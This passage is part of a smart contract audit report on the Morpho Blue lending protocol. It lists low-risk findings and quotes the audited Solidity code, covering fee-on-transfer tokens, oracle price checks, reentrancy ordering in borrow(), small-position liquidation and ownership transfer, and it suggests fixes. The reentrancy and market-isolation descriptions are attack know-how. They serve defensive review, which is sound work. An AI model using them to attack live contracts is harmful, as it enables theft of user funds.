+ 1. if there's only one market that uses fee-on-transfer as loanToken and if there's no any market uses this token as their collateralToken (to worsen the case even more): then the last liquidity providers will not be able to withdraw their preovided liquidity; as the contract balance would be insufficient (this will not break the segregation of markets though).
+
+ 2. but if there's other markets that use this token either as their loan or collateral token; then **this will break the segregation between markets** as the avaliable contract balance of this token type will be insufficient to satisfy the borrows and withdrawals for all markets equally; thus leaving some markets under insufficient balance to satisfy these operations.
+
+- Same issue when users provide liquidity with collateralToken of fee-on-transfer type.
+
+- Context
+
+[Morpho.supply function](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L166C1-L194C6)
+
+```solidity
+ function supply(
+ MarketParams memory marketParams,
+ uint256 assets,
+ uint256 shares,
+ address onBehalf,
+ bytes calldata data
+ ) external returns (uint256, uint256) {
+ //some code...
+ market[id].totalSupplyAssets += assets.toUint128();
+ //some code...
+
+ IERC20(marketParams.loanToken).safeTransferFrom(msg.sender, address(this), assets);
+ //some code...
+ }
+```
+
+[Morpho.supplyCollateral function](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L300C4-L317C6)
+
+```solidity
+ function supplyCollateral(MarketParams memory marketParams, uint256 assets, address onBehalf, bytes calldata data)
+ external
+ {
+ //some code...
+
+ position[id][onBehalf].collateral += assets.toUint128();
+
+ //some code...
+
+ IERC20(marketParams.collateralToken).safeTransferFrom(msg.sender, address(this), assets);
+ }
+```
+
+- Recommendation
+
+Add a mechanism to handle fee-on-transfer tokens or prevent creating markets with these tokens.
+
+
+
+### `Morpho` contract doesn't have a public function to enable liquidators from tracking healthiness of users positions
+
+**Severity:** Low risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+- Details
+
+`_isHealthy` function visibility must be set to `public` to enable liquidators from tracking & checking positions and liquidate the unhealthy ones.
+
+- Context
+
+[Morpho.\_isHealthy function](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L513C1-L525C6)
+
+```solidity
+ function _isHealthy(MarketParams memory marketParams, Id id, address borrower, uint256 collateralPrice)
+ internal
+ view
+ returns (bool)
+ {
+ uint256 borrowed = uint256(position[id][borrower].borrowShares).toAssetsUp(
+ market[id].totalBorrowAssets, market[id].totalBorrowShares
+ );
+ uint256 maxBorrow = uint256(position[id][borrower].collateral).mulDivDown(collateralPrice, ORACLE_PRICE_SCALE)
+ .wMulDown(marketParams.lltv);
+
+ return maxBorrow >= borrowed;
+ }
+```
+
+- Recommendation
+
+Modify visibility of `_isHealthy` function to be `public`:
+
+```diff
+ function _isHealthy(MarketParams memory marketParams, Id id, address borrower, uint256 collateralPrice)
+- internal
++ public
+ view
+ returns (bool)
+ {
+ uint256 borrowed = uint256(position[id][borrower].borrowShares).toAssetsUp(
+ market[id].totalBorrowAssets, market[id].totalBorrowShares
+ );
+ uint256 maxBorrow = uint256(position[id][borrower].collateral).mulDivDown(collateralPrice, ORACLE_PRICE_SCALE)
+ .wMulDown(marketParams.lltv);
+
+ return maxBorrow >= borrowed;
+ }
+```
+
+
+
+### `Morpho._isHealthy` function doesn't validate oracle collateral price
+
+**Severity:** Low risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+- Details
+
+- It's assumed by the protocol that the chainlink returned price wouldn't be stale and it would be within an acceptable range, but users can create markets using any oracle that doesn't necessarily match the behavior of the customized chainlink oracle.
+
+- So the returned oracle collateral price should be checked if stale or equals to zero before using it in the calculations of positions healthiness, since using a low /incorrect/zero/stale price of collateral will expose users positions to liquidation.
+
+- Context
+
+[Morpho.\_isHealthy function](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L501C1-L507C6)
+
+```solidity
+ function _isHealthy(MarketParams memory marketParams, Id id, address borrower) internal view returns (bool) {
+ if (position[id][borrower].borrowShares == 0) return true;
+
+ uint256 collateralPrice = IOracle(marketParams.oracle).price();
+
+ return _isHealthy(marketParams, id, borrower, collateralPrice);
+ }
+```
+
+- Recommendation
+
+Check/validate the returned collateral price against min/max values and verify that the price isn't stale (might implement an acceptable price deviation to check against) before using it.
+
+
+
+### Implement Two-Step Transfer with Ownable for Enhanced Security
+
+**Severity:** Low risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+* * *
+- Links to affected code
+- https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L95
+* * *
+- Summary
+The current ownership transfer mechanism in the contract is facilitated by the setOwner function. However, a potential issue arises if the transfer is mistakenly made to the wrong address, leading to the removal of access for the rightful owner.
+
+
+- Impact
+The improper transfer of ownership could result in a loss of access to the contract for the intended owner.
+
+
+- Tools Used
+Manual review
+
+- Recommendations
+To enhance security and prevent inadvertent loss of ownership access, it is recommended to implement a two-step transfer process. This involves an additional confirmation step before finalizing the ownership transfer. This approach adds an extra layer of security and reduces the risk of unintentional ownership changes.
+
+
+
+### Morpho.sol#liquidate() - No incentive to liquidate small positions
+
+**Severity:** Low risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+
+Liquidators are users/bots that call `liquidate`, because of the profit they will make.
+
+If there is no profit for liquidators, they have no incentive to liquidate undercollateralized positions.
+
+This can happen when a borrower has collateral that is worth less than the gas cost of calling `liquidate`.
+For example, if the borrower has only 5$ worth of collateral in a market and is eligible to be liquidated, even with the added `liquidationIncentiveFactor`, the gas cost of calling `liquidate` will still be bigger than the profit that the liquidator will make by liquidating the borrower's position.
+
+In the end, these low-value positions will never get liquidated, leaving the protocol with bad debt and can even cause the protocol to be undercollateralized with enough small-value accounts being underwater.
+
+**Recommendation**:
+
+There isn't a very elegant fix to this, as the `collateralToken` can be any token. One way is to disallow borrowing if the value of the collateral that the borrower has supplied is smaller than the amount set by the protocol.
+
+
+
+### Authorization for `address(0)` is possible
+
+**Severity:** Low risk
+
+**Context:** [Morpho.sol#L428-L428](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L428-L428)
+
+**Description**:
+
+Morpho blue allows users to authorize addresses to take actions like withdrawing, borrowing, or withdrawing collateral on their behalf. The current implementation of `setAuthorization()` allows the caller to set the authorization for the `address(0)` to true by passing zero as the `authorized` argument. For the `setAuthorizationWithSig()` function, this works if the `authorization.authorized` is zero.
+
+While this in the current implementation does not lead to issues, it might lead to vulnerabilities later on and should be removed. Especially considering that Morpho blue is a base building block on which more complex protocols can be built, which might become vulnerable through this (signature malleability, etc). Because of this other big libraries which are used as base blocks, like the OpenZeppelin ERC20 implementation, revert on approving to zero as it might lead to vulnerabilities in protocols built on top.
+
+**Recommendation**:
+
+Add an additional `require` statement to verify that no authorization to the zero address can be set.
+
+- setAuthorization
+```solidity
+require(authorized != address(0), ErrorsLib.ZERO_ADDRESS);
+```
+
+- setAuthorizationWithSig
+```solidity
+require(authorization.authorized != address(0), ErrorsLib.ZERO_ADDRESS);
+```
+
+This modification ensures that no authorization can be set to the zero address, reducing the potential for vulnerabilities and aligning with established security measures in widely used libraries.
+
+
+
+### Potential precision loss in `_accrueInterest` function for short elapsed times
+
+**Severity:** Low risk
+
+**Context:** [Morpho.sol#L474-L474](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L474-L474)
+
+**Description**: The `_accrueInterest` function calculates interest based on the elapsed time since the last update. Currently, the function exits early if `elapsed == 0`. However, this may not adequately address the precision loss issue for very small values of elapsed, miners can alter `block.timstamp` to make it happen. This discrepancy can lead to incorrect interest calculations in scenarios where the elapsed time is very short but non-zero.
+
+Example;
+```
+// calculate interest for 1 second, then multiply for 1 day
+console.log(wTaylorCompounded(1e10, 1) * 1 days);
+> 864000004320000
+// calculate interest for 1 day
+console.log(wTaylorCompounded(1e10, 1 days));
+> 864373355495424
+
+// calculate interest for 1 second, then multiply for 1 day
+console.log(wTaylorCompounded(1e18, 1) * 1 days);
+> 143999999999999999942400
+// calculate interest for 1 day
+console.log(wTaylorCompounded(1e18, 1 days));
+> 107499156566400000000000000000000
+```
+
+**Recommendation**: Consider modifying the early exit condition in `_accrueInterest` to account for a minimum timeframe threshold. Replace `(elapsed == 0) return` with `(elapsed < MIN_TIMEFRAME) return`, where `MIN_TIMEFRAME` is a predefined constant representing the smallest time interval for which the interest calculation is reliable. This change aims to avoid precision errors for very small elapsed times while ensuring that interest calculations are still performed when appropriate.
+
+
+
+### feeRecipient as a borrower has less net interest cost
+
+**Severity:** Low risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+
+`FeeRecipient` receives a portion of the interest accrued. `FeeRecipient` is allowed to borrow. In this case, net interest will be lower than, in comparison to other borrowers. Thus, FeeRecipient has some benefits when taking debt.
+
+**Recommendation**:
+
+Consider restricting feeRecipient from borrowing.
+
+
+
+### CEI pattern broken for borrow()
+
+**Severity:** Low risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+
+`Morpho.borrow()` does not follow Checks Effects Interactions pattern here:
+
+- https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L254-L257
+
+It is an Interaction (`isHealthy()`) before an important check (market liquidity).
+
+If oracle allows reentrancy, it will be possible to reenter and additionally modify totalBorrowAssets and totalSupplyAssets in all contract functions before this check is executed:
+```
+require(market[id].totalBorrowAssets <= market[id].totalSupplyAssets, ErrorsLib.INSUFFICIENT_LIQUIDITY);
+```
+For example, a user can borrow "more-than-allowed" if the inner reentrancy call does supply() with borrowed funds. Technically it means that this reentrancy allows to break market isolation for a short moment.
+
+**Recommendation**:
+Consider replacing these two lines to:
+````
+...
+require(market[id].totalBorrowAssets <= market[id].totalSupplyAssets, ErrorsLib.INSUFFICIENT_LIQUIDITY);
+require(_isHealthy(marketParams, id, onBehalf), ErrorsLib.INSUFFICIENT_COLLATERAL);
+...
+````
+
+
+
+### Fees not accrued before changing recipient in `setFeeRecipient` can cause recipient to not receive fees
+
+**Severity:** Low risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+
+https://github.com/morpho-org/morpho-blue/blob/4f50a27d0b0906a019cdf8d7b20c276cca5be9c9/src/Morpho.sol#L139-L145
+
+Fees not accrued before changing recipient in `setFeeRecipient` can cause the recipient to not receive fees.
+If `setFeeRecipient` changes after accruing fees but before they are distributed, the new `setFeeRecipient` will receive these accrued fees therefore causing the previous fee recipient to lose on fees.
+
+**Recommendation**:
+We can call `accrueInterest` in the `setFeeReciepient` to make sure that all accrued fees are added to the current fee recipient before changing to a new recipient.
+
+**Tools Used**:
+Vscode
+
+
+
+### There is no incentive to liquidate small positions
+
+**Severity:** Low risk
+
+**Context:** [Morpho.sol#L344-L410](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L344-L410)
+
+- Description
+
+In the current protocol, those with enough collateral matching the market LLTV can borrow from it. When low-value positions (e.g., $5) turn unhealthy, no one will want to liquidate them because you'd end up losing money instead of gaining from the incentive factor.
+
+- Proof of Concept
+
+If there's no profit to be gained, there won't be anyone willing to trigger the `liquidate` function.
+
+Due to the extremely low account value and the associated gas costs, liquidators would not find it profitable to liquidate such users. Consequently, these low-value accounts are likely to remain unliquidated, ultimately burdening the protocol with bad debt.
+
+Here's an example:
+
+- Loan token: WETH ($2000)
+- Collateral token: USDC
+- Liquidation loan-to-value: 80%
+- Liquidation Incentive Factor: 1.10e18 (10%)
+1. Alice supplies $6 of USDC and borrows the maximum of 0.0024 WETH.
+2. Her position becomes unhealthy, either due to accruing interest or volatile WETH prices.
+3. No one is willing to liquidate her because they would need to pay 0.0024 WETH (\$4.8) plus interest and transaction gas (ETH). In return, they would receive approximately \$6 + the incentive factor, totaling around $6.60.
+4. The cost of gas for this liquidation function is more than \$2, resulting in a situation where the liquidator would spend more money than they would receive ( \$6.60)
+
+- Recommendation
+
+Consider implementing a minimum collateral value requirement before allowing users to borrow loanToken.
+
+
+
+### Missing token blacklist
+
+**Severity:** Low risk
+
+**Context:** [Morpho.sol#L150-L161](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L150-L161)
+
+- Description
+
+Morpho protocol relies hard on permissionless lending/borrowing for everyone, but in the crypto space, this almost always is abused for profit by the users.
+Currently `createMarket` can be called with any arbitrary loan and collateral token pairs, even reentrant ERC777 tokens and various [weird ERC20 tokens](https://github.com/d-xo/weird-erc20).
+
+Additionally due to the easy process of market creation, one can add many markets with the tokens mentioned above.
+
+- Recommendation
+
+Consider adding **blacklist** mapping to restrict users from depositing and eventually losing their assets from the interaction with such markets, this will greatly reduce the amount of malicious markets:
+
+```diff
+mapping(address token => bool isBlocked) public blacklist;
+
+modifier onlyNonBlacklisted(address loanToken, address collateralToken) {
+ require(!blacklist[loanToken] && !blacklist[collateralToken], ErrorsLib.BLACKLIST);
+ _;
+}
+
+- function createMarket(MarketParams memory marketParams) external {
++ function createMarket(MarketParams memory marketParams) external onlyNonBlacklisted(marketParams.loanToken, marketParams.collateralToken) {
+
+function addToBlacklist(address token, bool isBlocked) external onlyOwner {
+ blacklist[token] = isBlocked;
+}
+```
+
+
+
+### Consider implementing two-step procedure for updating protocol addresses
+
+**Severity:** Low risk
+
+**Context:** [Morpho.sol#L95-L101](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L95-L101), [Morpho.sol#L139-L145](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L139-L145)
+
+- Description
+A copy-paste error or a typo may end up bricking protocol functionality, or sending tokens to an address with no known private key. Consider implementing a two-step procedure for updating protocol addresses, where the recipient is set as pending, and must 'accept' the assignment by making an affirmative call. A straightforward way of doing this would be to have the target contracts implement [EIP-165](https://eips.ethereum.org/EIPS/eip-165), and to have the 'set' functions ensure that the recipient is of the right interface type.
+
+```solidity
+📁 File: src/Morpho.sol
+
+/// @audit line 98
+95: function setOwner(address newOwner) external onlyOwner {
+96: require(newOwner != owner, ErrorsLib.ALREADY_SET);
+97:
+98: owner = newOwner;
+99:
+100: emit EventsLib.SetOwner(newOwner);
+101: }
+
+/// @audit line 142
+139: function setFeeRecipient(address newFeeRecipient) external onlyOwner {
+140: require(newFeeRecipient != feeRecipient, ErrorsLib.ALREADY_SET);
+141:
+142: feeRecipient = newFeeRecipient;
+143:
+144: emit EventsLib.SetFeeRecipient(newFeeRecipient);
+145: }
+```
+
+- Recommendation
+Consider implementing two-step procedure for updating protocol addresses. This process adds a crucial layer of security and accuracy, ensuring that only verified and intended addresses are used in the protocol.
+
+
+
+### Functions calling contracts/addresses with transfer hooks are missing reentrancy guards
+
+**Severity:** Low risk
+
+**Context:** [Morpho.sol#L166-L194](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L166-L194), [Morpho.sol#L197-L227](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L197-L227), [Morpho.sol#L232-L263](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L232-L263), [Morpho.sol#L266-L295](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L266-L295), [Morpho.sol#L300-L317](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L300-L317), [Morpho.sol#L320-L339](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L320-L339), [Morpho.sol#L344-L410](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L344-L410), [Morpho.sol#L415-L423](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L415-L423)
+
+- Description
+Adherence to the check-effects-interaction pattern is commendable, but without a reentrancy guard in functions, especially with transfer hooks, users are exposed to read-only reentrancy risks. This can lead to malicious actions without altering the contract state. Adding a reentrancy guard is vital for security, protecting against both traditional and read-only reentrancy attacks, ensuring a robust and safe protocol.
+
+```js
+📁 File: src/Morpho.sol
+
+/// @audit safeTransferFrom() on line 191
+166: function supply(
+167: MarketParams memory marketParams,
+168: uint256 assets,
+169: uint256 shares,
+170: address onBehalf,
+171: bytes calldata data
+172: ) external returns (uint256, uint256) {
+173: Id id = marketParams.id();
+174: require(market[id].lastUpdate != 0, ErrorsLib.MARKET_NOT_CREATED);
+175: require(UtilsLib.exactlyOneZero(assets, shares), ErrorsLib.INCONSISTENT_INPUT);
+176: require(onBehalf != address(0), ErrorsLib.ZERO_ADDRESS);
+177:
+178: _accrueInterest(marketParams, id);
+179:
+180: if (assets > 0) shares = assets.toSharesDown(market[id].totalSupplyAssets, market[id].totalSupplyShares);
+181: else assets = shares.toAssetsUp(market[id].totalSupplyAssets, market[id].totalSupplyShares);
+182:
+183: position[id][onBehalf].supplyShares += shares;
+184: market[id].totalSupplyShares += shares.toUint128();
+185: market[id].totalSupplyAssets += assets.toUint128();
+186:
+187: emit EventsLib.Supply(id, msg.sender, onBehalf, assets, shares);
+188:
+189: if (data.length > 0) IMorphoSupplyCallback(msg.sender).onMorphoSupply(assets, data);
+190:
+191: IERC20(marketParams.loanToken).safeTransferFrom(msg.sender, address(this), assets);
+192:
+193: return (assets, shares);
+194: }
+
+/// @audit safeTransfer() on line 224
+197: function withdraw(
+198: MarketParams memory marketParams,
+199: uint256 assets,
+200: uint256 shares,
+201: address onBehalf,
+202: address receiver
+203: ) external returns (uint256, uint256) {
+204: Id id = marketParams.id();
+205: require(market[id].lastUpdate != 0, ErrorsLib.MARKET_NOT_CREATED);
+206: require(UtilsLib.exactlyOneZero(assets, shares), ErrorsLib.INCONSISTENT_INPUT);
+207: require(receiver != address(0), ErrorsLib.ZERO_ADDRESS);
+208: // No need to verify that onBehalf != address(0) thanks to the following authorization check.
+209: require(_isSenderAuthorized(onBehalf), ErrorsLib.UNAUTHORIZED);
+210:
+211: _accrueInterest(marketParams, id);
+212:
+213: if (assets > 0) shares = assets.toSharesUp(market[id].totalSupplyAssets, market[id].totalSupplyShares);
+214: else assets = shares.toAssetsDown(market[id].totalSupplyAssets, market[id].totalSupplyShares);
+215:
+216: position[id][onBehalf].supplyShares -= shares;
+217: market[id].totalSupplyShares -= shares.toUint128();
+218: market[id].totalSupplyAssets -= assets.toUint128();
+219:
+220: require(market[id].totalBorrowAssets <= market[id].totalSupplyAssets, ErrorsLib.INSUFFICIENT_LIQUIDITY);
+221:
+222: emit EventsLib.Withdraw(id, msg.sender, onBehalf, receiver, assets, shares);
+223:
+224: IERC20(marketParams.loanToken).safeTransfer(receiver, assets);
+225:
+226: return (assets, shares);
+227: }
+
+/// @audit safeTransfer() on line 260
+232: function borrow(
+233: MarketParams memory marketParams,
+234: uint256 assets,
+235: uint256 shares,
+236: address onBehalf,
+237: address receiver
+238: ) external returns (uint256, uint256) {
+239: Id id = marketParams.id();
+240: require(market[id].lastUpdate != 0, ErrorsLib.MARKET_NOT_CREATED);
+241: require(UtilsLib.exactlyOneZero(assets, shares), ErrorsLib.INCONSISTENT_INPUT);
+242: require(receiver != address(0), ErrorsLib.ZERO_ADDRESS);
+243: // No need to verify that onBehalf != address(0) thanks to the following authorization check.
+244: require(_isSenderAuthorized(onBehalf), ErrorsLib.UNAUTHORIZED);
+245:
+246: _accrueInterest(marketParams, id);
+247:
+248: if (assets > 0) shares = assets.toSharesUp(market[id].totalBorrowAssets, market[id].totalBorrowShares);
+249: else assets = shares.toAssetsDown(market[id].totalBorrowAssets, market[id].totalBorrowShares);
+250:
+251: position[id][onBehalf].borrowShares += shares.toUint128();
+252: market[id].totalBorrowShares += shares.toUint128();
+253: market[id].totalBorrowAssets += assets.toUint128();
+254:
+255: require(_isHealthy(marketParams, id, onBehalf), ErrorsLib.INSUFFICIENT_COLLATERAL);
+256: require(market[id].totalBorrowAssets <= market[id].totalSupplyAssets, ErrorsLib.INSUFFICIENT_LIQUIDITY);
+257:
+258: emit EventsLib.Borrow(id, msg.sender, onBehalf, receiver, assets, shares);
+259:
+260: IERC20(marketParams.loanToken).safeTransfer(receiver, assets);
+261:
+262: return (assets, shares);
+263: }
+
+/// @audit safeTransferFrom() on line 292
+266: function repay(
+267: MarketParams memory marketParams,
+268: uint256 assets,
+269: uint256 shares,
+270: address onBehalf,
+271: bytes calldata data
+272: ) external returns (uint256, uint256) {
+273: Id id = marketParams.id();
+274: require(market[id].lastUpdate != 0, ErrorsLib.MARKET_NOT_CREATED);
+275: require(UtilsLib.exactlyOneZero(assets, shares), ErrorsLib.INCONSISTENT_INPUT);
+276: require(onBehalf != address(0), ErrorsLib.ZERO_ADDRESS);
+277:
+278: _accrueInterest(marketParams, id);
+279:
+280: if (assets > 0) shares = assets.toSharesDown(market[id].totalBorrowAssets, market[id].totalBorrowShares);
+281: else assets = shares.toAssetsUp(market[id].totalBorrowAssets, market[id].totalBorrowShares);
+282:
+283: position[id][onBehalf].borrowShares -= shares.toUint128();
+284: market[id].totalBorrowShares -= shares.toUint128();
+285: market[id].totalBorrowAssets = UtilsLib.zeroFloorSub(market[id].totalBorrowAssets, assets).toUint128();
+286:
+287: // `assets` may be greater than `totalBorrowAssets` by 1.
+288: emit EventsLib.Repay(id, msg.sender, onBehalf, assets, shares);
+289:
+290: if (data.length > 0) IMorphoRepayCallback(msg.sender).onMorphoRepay(assets, data);
+291:
+292: IERC20(marketParams.loanToken).safeTransferFrom(msg.sender, address(this), assets);
+293:
+294: return (assets, shares);
+295: }
+
+/// @audit safeTransferFrom() on line 316
+300: function supplyCollateral(MarketParams memory marketParams, uint256 assets, address onBehalf, bytes calldata data)
+301: external
+302: {
+303: Id id = marketParams.id();
+304: require(market[id].lastUpdate != 0, ErrorsLib.MARKET_NOT_CREATED);
+305: require(assets != 0, ErrorsLib.ZERO_ASSETS);
+306: require(onBehalf != address(0), ErrorsLib.ZERO_ADDRESS);
+307:
+308: // Don't accrue interest because it's not required and it saves gas.
+309:
+310: position[id][onBehalf].collateral += assets.toUint128();
+311:
+312: emit EventsLib.SupplyCollateral(id, msg.sender, onBehalf, assets);
+313:
+314: if (data.length > 0) IMorphoSupplyCollateralCallback(msg.sender).onMorphoSupplyCollateral(assets, data);
+315:
+316: IERC20(marketParams.collateralToken).safeTransferFrom(msg.sender, address(this), assets);
+317: }
+
+/// @audit safeTransfer() on line 338
+320: function withdrawCollateral(MarketParams memory marketParams, uint256 assets, address onBehalf, address receiver)
+321: external
+322: {
+323: Id id = marketParams.id();
+324: require(market[id].lastUpdate != 0, ErrorsLib.MARKET_NOT_CREATED);
+325: require(assets != 0, ErrorsLib.ZERO_ASSETS);
+326: require(receiver != address(0), ErrorsLib.ZERO_ADDRESS);
+327: // No need to verify that onBehalf != address(0) thanks to the following authorization check.
+328: require(_isSenderAuthorized(onBehalf), ErrorsLib.UNAUTHORIZED);
+329:
+330: _accrueInterest(marketParams, id);
+331:
+332: position[id][onBehalf].collateral -= assets.toUint128();
+333:
+334: require(_isHealthy(marketParams, id, onBehalf), ErrorsLib.INSUFFICIENT_COLLATERAL);
+335:
+336: emit EventsLib.WithdrawCollateral(id, msg.sender, onBehalf, receiver, assets);
+337:
+338: IERC20(marketParams.collateralToken).safeTransfer(receiver, assets);
+339: }
+
+/// @audit safeTransfer() on line 400
+/// @audit safeTransferFrom() on line 407
+344: function liquidate(
+345: MarketParams memory marketParams,
+346: address borrower,
+347: uint256 seizedAssets,
+348: uint256 repaidShares,
+349: bytes calldata data
+350: ) external returns (uint256, uint256) {
+351: Id id = marketParams.id();
+352: require(market[id].lastUpdate != 0, ErrorsLib.MARKET_NOT_CREATED);
+353: require(UtilsLib.exactlyOneZero(seizedAssets, repaidShares), ErrorsLib.INCONSISTENT_INPUT);
+354:
+355: _accrueInterest(marketParams, id);
+356:
+357: uint256 collateralPrice = IOracle(marketParams.oracle).price();
+358:
+359: require(!_isHealthy(marketParams, id, borrower, collateralPrice), ErrorsLib.HEALTHY_POSITION);
+360:
+361: uint256 repaidAssets;
+362: {
+363: // The liquidation incentive factor is min(maxLiquidationIncentiveFactor, 1/(1 - cursor*(1 - lltv))).
+364: uint256 liquidationIncentiveFactor = UtilsLib.min(
+365: MAX_LIQUIDATION_INCENTIVE_FACTOR,
+366: WAD.wDivDown(WAD - LIQUIDATION_CURSOR.wMulDown(WAD - marketParams.lltv))
+367: );
+368:
+369: if (seizedAssets > 0) {
+370: repaidAssets =
+371: seizedAssets.mulDivUp(collateralPrice, ORACLE_PRICE_SCALE).wDivUp(liquidationIncentiveFactor);
+372: repaidShares = repaidAssets.toSharesDown(market[id].totalBorrowAssets, market[id].totalBorrowShares);
+373: } else {
+374: repaidAssets = repaidShares.toAssetsUp(market[id].totalBorrowAssets, market[id].totalBorrowShares);
+375: seizedAssets =
+376: repaidAssets.wMulDown(liquidationIncentiveFactor).mulDivDown(ORACLE_PRICE_SCALE, collateralPrice);
+377: }
+378: }
+379:
+380: position[id][borrower].borrowShares -= repaidShares.toUint128();
+381: market[id].totalBorrowShares -= repaidShares.toUint128();
+382: market[id].totalBorrowAssets = UtilsLib.zeroFloorSub(market[id].totalBorrowAssets, repaidAssets).toUint128();
+383:
+384: position[id][borrower].collateral -= seizedAssets.toUint128();
+385:
+386: uint256 badDebtShares;
+387: if (position[id][borrower].collateral == 0) {
+388: badDebtShares = position[id][borrower].borrowShares;
+389: uint256 badDebt = UtilsLib.min(
+390: market[id].totalBorrowAssets,
+391: badDebtShares.toAssetsUp(market[id].totalBorrowAssets, market[id].totalBorrowShares)
+392: );
+393:
+394: market[id].totalBorrowAssets -= badDebt.toUint128();
+395: market[id].totalSupplyAssets -= badDebt.toUint128();
+396: market[id].totalBorrowShares -= badDebtShares.toUint128();
+397: position[id][borrower].borrowShares = 0;
+398: }
+399:
+400: IERC20(marketParams.collateralToken).safeTransfer(msg.sender, seizedAssets);
+401:
+402: // `repaidAssets` may be greater than `totalBorrowAssets` by 1.
+403: emit EventsLib.Liquidate(id, msg.sender, borrower, repaidAssets, repaidShares, seizedAssets, badDebtShares);
+404:
+405: if (data.length > 0) IMorphoLiquidateCallback(msg.sender).onMorphoLiquidate(repaidAssets, data);
+406:
+407: IERC20(marketParams.loanToken).safeTransferFrom(msg.sender, address(this), repaidAssets);
+408:
+409: return (seizedAssets, repaidAssets);
+410: }
+
+/// @audit safeTransfer() on line 416
+/// @audit safeTransferFrom() on line 422
+415: function flashLoan(address token, uint256 assets, bytes calldata data) external {
+416: IERC20(token).safeTransfer(msg.sender, assets);
+417:
+418: emit EventsLib.FlashLoan(msg.sender, token, assets);
+419:
+420: IMorphoFlashLoanCallback(msg.sender).onMorphoFlashLoan(assets, data);
+421:
+422: IERC20(token).safeTransferFrom(msg.sender, address(this), assets);
+423: }
+```
+
+- Recommendation
+Add reentrancy guard in the functions listed bellow:
+- [`supply()`](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L166-L194) function
+- [`withdraw()`](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L197-L227) function
+- [`borrow()`](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L232-L263) function
+- [`repay()`](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L266-L295) function
+- [`supplyCollateral()`](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L300-L317) function
+- [`withdrawCollateral()`](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L320-L339) function
+- [`liquidate()`](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L344-L410) function
+- [`flashLoan()`](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L415-L423) function
+
+
+
+### `int` casting `block.timestamp` can reduce the lifespan of a contract
+
+**Severity:** Low risk
+
+**Context:** [Morpho.sol#L157-L157](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L157-L157), [Morpho.sol#L494-L494](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L494-L494)
+
+- Description
+In the `Morpho.sol` file, there are two instances where `block.timestamp` is cast to `uint128`. This approach can potentially limit the effective lifespan of the contract due to the eventual overflow of the `uint128` type. Given that `block.timestamp` returns a `uint256` value representing the current Unix timestamp, continuously increasing over time, casting it to a smaller `uint128` type may eventually lead to inaccuracies or overflow issues.
+
+```js
+📁 File: src/Morpho.sol
+
+157: market[id].lastUpdate = uint128(block.timestamp);
+
+494: market[id].lastUpdate = uint128(block.timestamp);
+```
+
+- Recommendation
+Reconsider the use of `uint128` for storing `block.timestamp` values. Adapting the code to use the native `uint256` type for timestamps would prevent potential overflow issues and ensure the contract remains functional in the long term.
+
+
+
+### Loss of precision in Division Operations _(this issue has been rejected)_
+
+**Severity:** Low risk
+
+**Context:** [MathLib.sol#L28-L28](morpho-org-morpho-blue-f463e40/src/libraries/MathLib.sol#L28-L28), [MathLib.sol#L33-L33](morpho-org-morpho-blue-f463e40/src/libraries/MathLib.sol#L33-L33)
+
+- Description
+The Solidity programming language does not support fractional numbers, which can lead to loss of precision, especially when dividing by large numbers. This issue is critical in financial calculations where accuracy is paramount. If the numerator in a division operation is significantly smaller than the denominator, the result could inaccurately round down to zero. To mitigate this, it's advisable to enforce a minimum threshold for the numerator, ensuring it's always larger than the denominator to maintain precision.
+
+```solidity
+📁 File: src/libraries/MathLib.sol
+
+28: return (x * y) / d;
+
+33: return (x * y + (d - 1)) / d;
+```
+
+- [`MathLib.sol#mulDivDown()`](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/MathLib.sol#L28-L28) function: Line 28
